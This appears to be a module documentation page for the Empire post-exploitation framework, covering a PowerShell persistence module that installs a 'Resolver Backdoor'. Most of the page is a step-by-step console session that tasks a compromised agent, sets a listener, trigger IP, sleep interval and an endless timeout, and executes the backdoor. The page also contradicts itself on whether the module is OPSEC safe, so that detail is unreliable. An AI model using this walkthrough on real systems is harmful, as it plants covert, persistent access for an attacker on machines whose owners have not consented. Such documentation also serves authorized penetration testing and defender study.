Invoke-ResolverBackdoor - Empire Module


This page contains detailed information about how to use the powershell/persistence/powerbreach/resolver Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-ResolverBackdoor
Module: powershell/persistence/powerbreach/resolver
Source code [1]: empire/server/modules/powershell/persistence/powerbreach/resolver.yaml
Source code [2]: empire/server/modules/powershell/persistence/powerbreach/resolver.py
MITRE ATT&CK: T1015, S0194
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

The resolver module starts the Resolver Backdoor.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the resolver module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the resolver module:

Agent
Agent to run module on.

Hostname
Hostname to routinely check for a trigger.

Listener
Listener to use.

Sleep
Time (in seconds) to sleep between checks.
Default value: 30.

Timeout
Time (in seconds) to run the backdoor. Defaults to 0 (run forever).

Trigger
The IP Address that the backdoor is looking for.
Default value: 127.0.0.1.

Additional Module Options

This is a list of additional options that are supported by the resolver module:

OutFile
Output the backdoor to a file instead of tasking to an agent.

Resolver Example Usage

Here's an example of how to use the resolver module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/powerbreach/resolver

 Author       @sixdub                                     
 Background   False                                       
 Comments     http://sixdub.net                           
 Description  Starts the Resolver Backdoor.               
 Language     powershell                                  
 Name         powershell/persistence/powerbreach/resolver 
 NeedsAdmin   False                                       
 OpsecSafe    True                                        
 Software     http://attack.mitre.org/software/S0194      
 Techniques   http://attack.mitre.org/techniques/T1015    


,Record Options--------,----------,-------------------------------------,
| Name     | Value     | Required | Description                         |
|----------|-----------|----------|-------------------------------------|
| Agent    |           | True     | Agent to run module on.             |
|----------|-----------|----------|-------------------------------------|
| Hostname |           | True     | Hostname to routinely check for a   |
|          |           |          | trigger.                            |
|----------|-----------|----------|-------------------------------------|
| Listener |           | True     | Listener to use.                    |
|----------|-----------|----------|-------------------------------------|
| OutFile  |           | False    | Output the backdoor to a file       |
|          |           |          | instead of tasking to an agent.     |
|----------|-----------|----------|-------------------------------------|
| Sleep    | 30        | True     | Time (in seconds) to sleep between  |
|          |           |          | checks.                             |
|----------|-----------|----------|-------------------------------------|
| Timeout  | 0         | True     | Time (in seconds) to run the        |
|          |           |          | backdoor. Defaults to 0 (run        |
|          |           |          | forever).                           |
|----------|-----------|----------|-------------------------------------|
| Trigger  | 127.0.0.1 | True     | The IP Address that the backdoor is |
|          |           |          | looking for.                        |
'----------'-----------'----------'-------------------------------------'

(Empire: usemodule/powershell/persistence/powerbreach/resolver) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/powerbreach/resolver) > set Hostname dbsystem
[*] Set Hostname to dbsystem
(Empire: usemodule/powershell/persistence/powerbreach/resolver) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/persistence/powerbreach/resolver) > set Sleep 30
[*] Set Sleep to 30
(Empire: usemodule/powershell/persistence/powerbreach/resolver) > set Timeout 0
[*] Set Timeout to 0
(Empire: usemodule/powershell/persistence/powerbreach/resolver) > set Trigger 127.0.0.1
[*] Set Trigger to 127.0.0.1
(Empire: usemodule/powershell/persistence/powerbreach/resolver) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.